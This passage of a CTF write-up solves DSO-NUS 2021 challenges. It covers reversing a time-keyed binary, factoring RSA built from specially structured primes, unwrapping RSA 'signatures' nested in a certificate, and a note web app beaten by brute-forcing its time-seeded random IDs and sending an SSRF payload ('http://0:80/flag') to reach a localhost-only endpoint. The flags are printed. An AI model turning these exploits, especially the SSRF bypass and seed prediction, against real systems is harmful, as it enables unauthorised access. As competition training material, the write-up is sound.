        local_670 = malloc(0x2a);
        i1 = local_6a0;
        local_6cc = (int)local_6a0;
        printf_offset = 0;
        lVar3 = printf_offset;
        do {
          printf_offset = lVar3;
          bVar2 = (byte)(local_6cc >> 0x37);
          local_minutes = (uint)(local_6cc >> 0x1f) >> 0x1c;
          if ((int)((local_6cc + local_minutes & 0xf) - local_minutes) < 10) {
            cVar4 = '0';
          }
          else {
            cVar4 = 'W';
          }
          *(byte *)((long)local_670 + printf_offset) =
               (((char)local_6cc + (bVar2 >> 4) & 0xf) - (bVar2 >> 4)) + cVar4;
          if (local_6cc < 0) {
            local_6cc = local_6cc + 0xf;
          }
          local_6cc = local_6cc >> 4;
          lVar3 = printf_offset + 1;
        } while (local_6cc != 0);
        iVar5 = (int)printf_offset;
        *(undefined *)((long)local_670 + printf_offset + 1) = 0;
        local_6a0 = 0;
        printf_offset = SEXT48(iVar5);
        while (local_6a0 < (long)printf_offset) {
          uVar1 = *(undefined *)((long)local_670 + local_6a0);
          *(undefined *)((long)local_670 + local_6a0) =
               *(undefined *)((long)local_670 + printf_offset);
          *(undefined *)((long)local_670 + printf_offset) = uVar1;
          local_6a0 = local_6a0 + 1;
          printf_offset = printf_offset - 1;
        }
        local_698 = 0;
        while (local_698 < iVar5 + 1) {
          buf1[local_6a8] = *(char *)(local_698 + (long)local_670);
          local_698 = local_698 + 1;
          local_6a8 = local_6a8 + 1;
        }
        buf1[local_6a8] = buf1[local_6a8] + 'C';
        buf1[local_6a8 + 1] = buf1[local_6a8 + 1];
        buf1[local_6a8 + 2] = buf1[local_6a8 + 2] + 'L';
        buf1[local_6a8 + 1] = 'S';
        local_6a8 = local_6a8 + 3;
        local_6a0 = i1;
        free(local_670);
      }
      local_6a0 = local_6a0 + 1;
    }
  }
  i1 = 0x41;
  plVar7 = &DAT_001021c0;
  plVar9 = local_218;
  while (i1 != 0) {
    i1 = i1 + -1;
    *plVar9 = *plVar7;
    plVar7 = plVar7 + (ulong)bVar11 * -2 + 1;
    plVar9 = plVar9 + (ulong)bVar11 * -2 + 1;
  }
  i1 = 0x20;
  puVar8 = &DAT_001023e0;
  puVar10 = local_4a8;
  while (i1 != 0) {
    i1 = i1 + -1;
    *puVar10 = *puVar8;
    puVar8 = puVar8 + (ulong)bVar11 * -2 + 1;
    puVar10 = puVar10 + (ulong)bVar11 * -2 + 1;
  }
  *(undefined4 *)puVar10 = *(undefined4 *)puVar8;
  i = 0;
  while (i < 0x40) {
    if (*(int *)((long)local_4a8 + i * 4) - local_hour < 1) {
      iVar5 = local_hour - *(int *)((long)local_4a8 + i * 4);
    }
    else {
      iVar5 = *(int *)((long)local_4a8 + i * 4) - local_hour;
    }
    if (*(int *)((long)local_4a8 + i * 4) - local_hour < 1) {
      iVar6 = local_hour - *(int *)((long)local_4a8 + i * 4);
    }
    else {
      iVar6 = *(int *)((long)local_4a8 + i * 4) - local_hour;
    }
    aiStack1448[(ulong)(long)iVar6 % 0x41] = (int)buf1[local_218[(ulong)(long)iVar5 % 0x41]];
    i = i + 1;
  }
  i = 0;
  while (i < 0x40) {
    if ((i & 1) == 0) {
      buf1[i] = (char)aiStack1448[i];
      if (i == 0) {
        printf_offset = i;
      }
    }
    else {
      if ((local_hour == local_3a8 + (int)local_18) && (buf1[i] = (char)aiStack1448[i], i == 1)) {
        printf_offset = printf_offset + 3;
      }
    }
    i = i + 1;
  }
  buf1[i] = '\0';
  printf(*(char **)(fStr + printf_offset * 8),buf1,buf1);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

This binary does the following:

  1. Read current time
  2. Use the minutes previously read to decrypt a filename
  3. Open filename, ensure that its length is equal to 0x18ce6 or 101606 bytes long
  4. Use the minutes and hours previously read to decrypt the flag

After spending way too long trying to extract the logic for brute force, we decided to just change our system time and use strace to log the filename:

from pwn import *
import os

for i in range(60):
    os.system(f"sudo date -s '2021-02-27 21:{i:02}:00'")
    r = process(["strace", "./soar"])
    r.recvuntil("openat")
    r.recvuntil("openat")
    r.recvuntil("openat")
    r.recvuntil("openat")
    print(r.recvline())
    r.close()

Only one string makes sense:

Sat Feb 27 21:11:00 +08 2021
[x] Starting local process '/usr/bin/strace'
[+] Starting local process '/usr/bin/strace': pid 8452
b'(AT_FDCWD, "Scholarship for Aspiring Researchers (SOAR).pdf", O_RDONLY) = -1 ENOENT (No such file or directory)\n'
[*] Stopped process '/usr/bin/strace' (pid 8452)

We can create the file with the expected size with fallocate -l 101606 Scholarship\ for\ Aspiring\ Researchers\ \(SOAR\).pdf, then brute force the hour to get the flag:

from pwn import *
import os
import time

for i in range(24):
    os.system(f"sudo date -s '2021-02-27 {i:02}:11:00'")
    r = process(["./soar"])
    print(r.recv())
    r.close()
Sat Feb 27 11:11:00 +08 2021
[+] Starting local process './soar': pid 760
b'4c7b655ed2e3eb42f1d886786c14fe5a757e416f5373de5cd2e4089b870eb5da\n'
[*] Stopped process './soar' (pid 760)

Crypto

Protect the Vaccine

A nation-supported hacker group is using their cutting edge technology to attack a company that develops vaccine. They roll their own crypto with a hope that it will be more secure. Luckily, we have got some of their crypto system information and also have found some research that is likely to break their crypto system. I heard you are a cipher breaker, could you help us to decrypt their secret and protect the vaccine from their plan?

We're given a paper A New LSB Attack on Special-Structured RSA Primes, along with the following:

from config import a,b,m,r_p,r_q,secret
from Crypto.Util.number import bytes_to_long

p = a**m + r_p
q = b**m + r_q
N = p*q
e = 65537

M = bytes_to_long(secret)
c = pow(M, e, N)

print('N:', N)
print('e:', e)
print('r_p:', r_p)
print('r_q:', r_q)
print('c:', c)
encryptor.py
N: 3275733051034358984052873301763419226982953208866734590577442123100212241755791923555521543209801099055699081707325573295107810120279016450478569963727745375599027892100123044479660797401966572267597729137245240398252709789403914717981992805267568330238483858915840720285089128695716116366797390222336632152162599116524881401005018469215424916742801818134711336300828503706379381178900753467864554260446708842162773345348298157467411926079756092147544497068000233007477191578333572784654318537785544709699328915760518608291118807464400785836835778315009377442766842129158923286952014836265426233094717963075689446543
e: 65537
r_p: 5555
r_q: 2021
c: 1556192154031991594732510705883546583096229743096303430901374706824505750761088363281890335979653013911714293502545423757924361475736093242401222947901355869932133190452403616496603786871994754637823336368216836022953863014593342644392369877974990401809731572974216127814977558172171864993498081681595043521251475276813852699339208084848504200274031750249400405999547189108618939914820295837292164648879085448065561197691023430722069818332742153760012768834458654303088057879612122947985115227503445210002797443447539212535515235045439442675101339926607807561016634838677881127459579466831387538801957970278441177712
data.txt

Since we're given exactly enough information to replicate the attack described in the paper, its also obvious that we're meant to execute the attack against the ciphertext provided for the flag.

import math
import gmpy2
from gmpy2 import mpz
from Crypto.Util.number import bytes_to_long, long_to_bytes

gmpy2.get_context().precision=10000

N = mpz("3275733051034358984052873301763419226982953208866734590577442123100212241755791923555521543209801099055699081707325573295107810120279016450478569963727745375599027892100123044479660797401966572267597729137245240398252709789403914717981992805267568330238483858915840720285089128695716116366797390222336632152162599116524881401005018469215424916742801818134711336300828503706379381178900753467864554260446708842162773345348298157467411926079756092147544497068000233007477191578333572784654318537785544709699328915760518608291118807464400785836835778315009377442766842129158923286952014836265426233094717963075689446543")
e = mpz("65537")
r_p = mpz("5555")
r_q = mpz("2021")

i = gmpy2.isqrt(r_p * r_q) + 1
i = 3379

while True:
    print(f"{i=}")

    sigma = (gmpy2.isqrt(N) - i) ** 2
    z = gmpy2.divm(N - (r_p * r_q), 1, sigma)

    b = -z
    c = sigma * r_p * r_q

    x1 = (-b + gmpy2.sqrt(b**2 - 4*c))/2
    x2 = (-b - gmpy2.sqrt(b**2 - 4*c))/2

    k1 = (x1/r_q) + r_p
    k2 = (x2/r_p) + r_q

    p = N/k1
    q = N/k2

    if gmpy2.frac(p) != 0.0 or gmpy2.frac(q) != 0.0:
        i += 1
        continue

    print(f"{p=}")
    print(f"{q=}")
    break

p = mpz(p)
q = mpz(q)
phi = (p - 1)*(q - 1)
d = gmpy2.invert(e, phi)

c = 1556192154031991594732510705883546583096229743096303430901374706824505750761088363281890335979653013911714293502545423757924361475736093242401222947901355869932133190452403616496603786871994754637823336368216836022953863014593342644392369877974990401809731572974216127814977558172171864993498081681595043521251475276813852699339208084848504200274031750249400405999547189108618939914820295837292164648879085448065561197691023430722069818332742153760012768834458654303088057879612122947985115227503445210002797443447539212535515235045439442675101339926607807561016634838677881127459579466831387538801957970278441177712
dec_M = pow(int(c), int(d), int(N))
print(long_to_bytes(dec_M))
solve.py
Let's meet at Yichun on 30 Feb. On that day, say 'DSO-NUS{851f6c328f2da456cbc410184c7ada365c6d1f69199f0f4fdcb9fd43101ce9ee}' to confirm your identity.
Decrypted plaintext

The most challenging part here was dealing with the large numbers - we had issues with float precision that was resolved by setting gmpy2's precision as large as possible.

Sighhh

How about I use my private key to encrypt in public key cryptosystem?

We get a certificate sighhh.der, containing nested certificates inside the asn1 data.

Each certificate contains three things of interest to us:

  1. Modulus & Exponent
  2. Another certificate
  3. Encrypted data

PyCryptodome can be used to extract the modulus and exponent from each certificate, while the nested certificate and encrypted data can be copied directly from the decoded ASN.1 certificate.

from Crypto.Util.number import bytes_to_long, long_to_bytes

n1 = int("00aeb08f314263a2ef6d8d651092b64ededc3f96f0828b71a55ebdbc3de1041fe98b53cdde3c1add3d302420560fdaa45e52c80298a7d5036e8b424636cef36d87fa646a4e5635c8b5cbd310a2d919a52ae2adb3b47bd7ac7ab6dc3acfd257adfe2ed0f10e02b453267c3173afec4b9e0e3975ca2b07cd46085bddf561b8af547ef656727d6965fab3c4fde2b50259337b1a2eb290b1b356e490e0eca21bd7b1fd8a7db1b50add680384ece7d2d5fdd06d42fedc2854b0aa8f90692c801bef46e1ab53e44895519f3412fe40294514ee2f939937cae5520f3d75fdca4f8d3fb62670e77b45540edcbcea16676b36b2a71f3d969d4e9914ceb09784017ff90c78b5", 16)
e1 = 65537

n2 = int("00d4be1560dcb88745f30c23a4efb768b04bc7413c439673a39b97b160033f3c97ff28fffcc3c247a65da99bdb5040094f8d84cd98c2806e0bca0c33231b951d4bd1c0f162c02cf87a220dff6dacf0a2d8708b4463832e1d16789f79e09f3d21e70a4bde7bd9606449f16ac6a45c0896847e57640dd8b581f4330c7ef6db34a9299822a3b4a7f56f6c926da1ee3620ea18788c23c4153eb22ee8f6d1d373f1fe6b12e45c3334b7d9dad7529264fc7009801408c9462a50436620612094ad3b0aaa19572ffcc03f2e3769931c7388d494c9fa8406ef3646dcef6f4def8cbe81b38ebcdc57c7ab34da93824d5f860985afd5994138a7a5bf6d119b50edc4cc51db2f", 16)
e2 = 65537

n3 = int("00cacc913eb7be406a5542246386f8ec3a344afca1ccba79caf949638642c4556e6c9bd4c9fea5cbfd0d29d3ddf1547b218d14dbb3865ccfec675736a85d0f041e98feef1c44ae2fdf024dce7c76064c5e546862c41b12ccdded931086bb69494baf3b235046b48016598f3da4adea5f5d94751a397f5e036cb36f98bec44eb7da0d57f972bbacccc07b432afe370312b1bff2f2d6e4700cd95f4b93a72581d5b41b3b2070c64d5363280889123b517a170ae3af3fe6f54a273f1b9dc572cc8eedb3f350e2236e50ce389d466ad5109fa02929602a3ada4c4d36a0af9d1e54412c1332804c08ddd9d6a24e25cdcb7947c31647c93feeb5f6cd144ab7b757230967", 16)
e3 = 65537

part1 = int("30ea0eeedfd9db2d0fa4c9e4c809c5785c713e73be94ab832e325d94479b9bcc807163ae8ca588cdcb4fb551e29b6fd2705fc2e100088a4ee4185887073d3f935259366ee7538e738f8ff018633e2d71afa6b18c68cc8c8df542b9cdf2904a3650010985aeb28098932c6556655a9cf8bd8709932a83861bf1ae4031d70e25a0d5d6e650f484a49c9f64c3e04dd0120aa65c892d69c409cd292d0932fbe6ec1458fc24c79336e208fa8f6ca42708231b64fb1227c2f597231f625a7b9f97edf0b0f690500049b92236c935d61573aae5064458b02435d4c332ca77d939023c18a9e58f06ca5595c797c129098c858c09fb2a3fcee8ef7aff739110d7cc2d2c32", 16)
part2 = int("232504a277c6496d889495b63edccf538566f603fb51eb91df3b5129503c9e2b5c5f0dcc2f2e9eb2a8f6ccce2478133a907d5d1585c8e07f8c32d068c953c37dd5a9eff1e43ef1a1eea1967cfeb715ded1acf4f78f00b2a67ee3279449d4417e3edaea513a9a8e2e828da89475b5550ecea2746915883e5d68514a9ac1d62b98542e7524660faa831c209b9538816060265eb9feb2fa702b6eb3a883656a4a1082975f0484550f0d36aac27c6bb2abfb086b511701737292595bf8bf1517ab0fd55f9bcca3391589dfb7a6ed834181bbad084f613acbb0a02387982c71ad65c55b7ea5ebf6e7d9d975c40e307583661ff6fb00b3cb51c19f101aa8eb78707c32", 16)
part3 = int("1b325890cfd34c8cd9013f99dab1a87efa363a6f3df21273f31c5711241077b0f2d49cc66c7358fde0f9b37a5a99e70f3e75ff8cff64aef4fd3ac5188e498fffe1ff67994ce045222883675e893d04e59c8d89c83d29f2256b6f2e2347da9f85ae4c88a8d5071a4845bcf6001d70381b6375f8e0df1816eb62688e30b23ba47b9bbf8b24f3a40d98e213cca635336a6b8ecbb020add4df5a3df2175bfde216bb60cb70510b317e2e96a0e7d61365af1abfd027dd2d6a3adcd22d7c737c0b30d17ea465414015b26a7bf98b8120eadd9135b87e82ba90fd793bd481392eb11308ef3ed8908d1f022fa925f3e6c5d2bd503fc10301b3efcfc61c627b05463b8d48", 16)

print(long_to_bytes(pow(part1, e1, n1)))
print(long_to_bytes(pow(part2, e2, n2)))
print(long_to_bytes(pow(part3, e3, n3)))
solve.py
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00If you can see this, it means that you have | DSO-NUS{02197697b152a2e6'
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00verified these messages with the right keys. | d9d36efcfe0950664f6b88c8'
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00Signing is not encryption. | c3d644b27f6fc65d7e67d0ad}'

Web

Easy Sql

Not much to say here, refer to https://www.cnblogs.com/gaonuoqi/p/12398554.html

Yes, even the database name, table names and comments (the line about sqlmap not being panacea) are the same.

In my own opinion, taking a past challenge and adding extra restrictions/iterating on it is perfectly fine, but reusing the exact same challenge with keywords that participants could google and find and copy the solution from?...

babyNote

Hey... NUS is creating a note app.. but the admin forgot to remove some secrets.
We got part of the leaked source code. Are you able to find the secret?

We're given a link to a note taking app and part of its source. We note a link to /flag on the navigation bar, but access to it fails, saying that it's only accessible from localhost.

@app.route('/create_note', methods=['GET', 'POST'])
def create_note():
    try:
        form = CreateNoteForm()
        if request.method == "POST":
            username = form.username.data
            title = form.title.data
            text = form.body.data
            prv = str(form.private.data)
            user = User.query.filter_by(username=username).first()

            if user:
                user_id = user.user_id
            else:
                timestamp = round(time.time(), 4)

                random.seed(timestamp)
                user_id = get_random_id()

                user = User(username=username, user_id=user_id)
                db.session.add(user)
                db.session.commit()
                session['username'] = username

            timestamp = round(time.time(), 4)


            post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')

            random.seed(user_id + post_at)
            note_id = get_random_id()


            note = Note(user_id=user_id, note_id=note_id,
                        title=title, text=text,
                        prv=prv, post_at=post_at)
            db.session.add(note)
            db.session.commit()
            return redirect(url_for('index'))

        else:
            return render_template("create.html", form=form)
    except Exception as e:
        pass
Relevant source code

Taking a look at the source, we examine the create-note functionality:

  • If a post is created with a new user (does not exist in the database), a new user is created, with a user id seeded by the current time (henceforth called user-create-time
  • A post id is generated by seeding with the user id + current time (henceforth called note-create-time

Conveniently, note-create-time is saved and displayed along with the note.

Since we're told that the admin has left secrets somewhere, we can conclude that the objective here is to recover the user id of admin and view one of their secret notes.

We assume that the first public note that admin makes is also their first note, meaning user-create-time would be a short time before note-create-time of their first note. Since user-create-time is rounded to 4 decimal places before being used, it is entirely feasible to brute force user-create-time. The time range expands slightly because note-create-time only has a resolution of minutes, but is not an issue.

import datetime
import random
import string
import sys

alphabet = list(string.ascii_lowercase + string.digits)

def get_random_id():
    return ''.join([random.choice(alphabet) for _ in range(32)])

NOTE_ID = "lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u"
TIMESTAMP = "2021-01-15 02:29 UTC"

# + 60 because the timestamp only contains minutes
posted = datetime.datetime.strptime(TIMESTAMP, "%Y-%m-%d %H:%M UTC").replace(tzinfo=datetime.timezone.utc).timestamp() + 60

create_time = posted
u = 0
while True:
    random.seed(create_time)
    user_id = get_random_id()

    seed = user_id + TIMESTAMP
    random.seed(seed)

    for i in range(32):
        if random.choice(alphabet) != NOTE_ID[i]:
            break

        if i == 31:
            print(f"found: {create_time} {user_id=}")
            sys.exit()
    
    create_time = round(create_time - 0.0001, 4)

    u += 1
    if u % 1000 == 0:
        print(create_time)
Brute force script

We recover the user id 7bdeij4oiafjdypqyrl2znwk7w9lulgn, which we can use to view all notes made by admin:

Hey look: apparently /y0u_n3v3r_gu3ss_1t allows us to make arbitrary requests from the server - if we can convince it to visit localhost, we can retrieve the flag!

Here begins the most painful part of this challenge: /y0u_n3v3r_gu3ss_1t returns a generic error message when something goes wrong... and when the url provided is blacklisted. We tried variations of the following (and we might have missed some of these because of the wrong port number):

  • http://localhost/flag
  • http://127.0.0.1/flag
  • http://127.1.1.1/flag
  • Setting up a HTTP server to redirect to http://localhost/flag, then passing a URL to this server
  • Using DNS and providing a domain pointing to localhost

We then started going through the payloads presented on PayloadsAllTheThings. Eventually, we got the flag:

import requests

r = requests.get("http://ctf-9ess.balancedcompo.site:22222/y0u_n3v3r_gu3ss_1t/", params={
    "url": f"http://0:80/flag"
})

print(r.text)

This was made much harder by the generic error message - we could not differentiate between an actual error (ie connection refused due to visiting the wrong port) or the blacklist.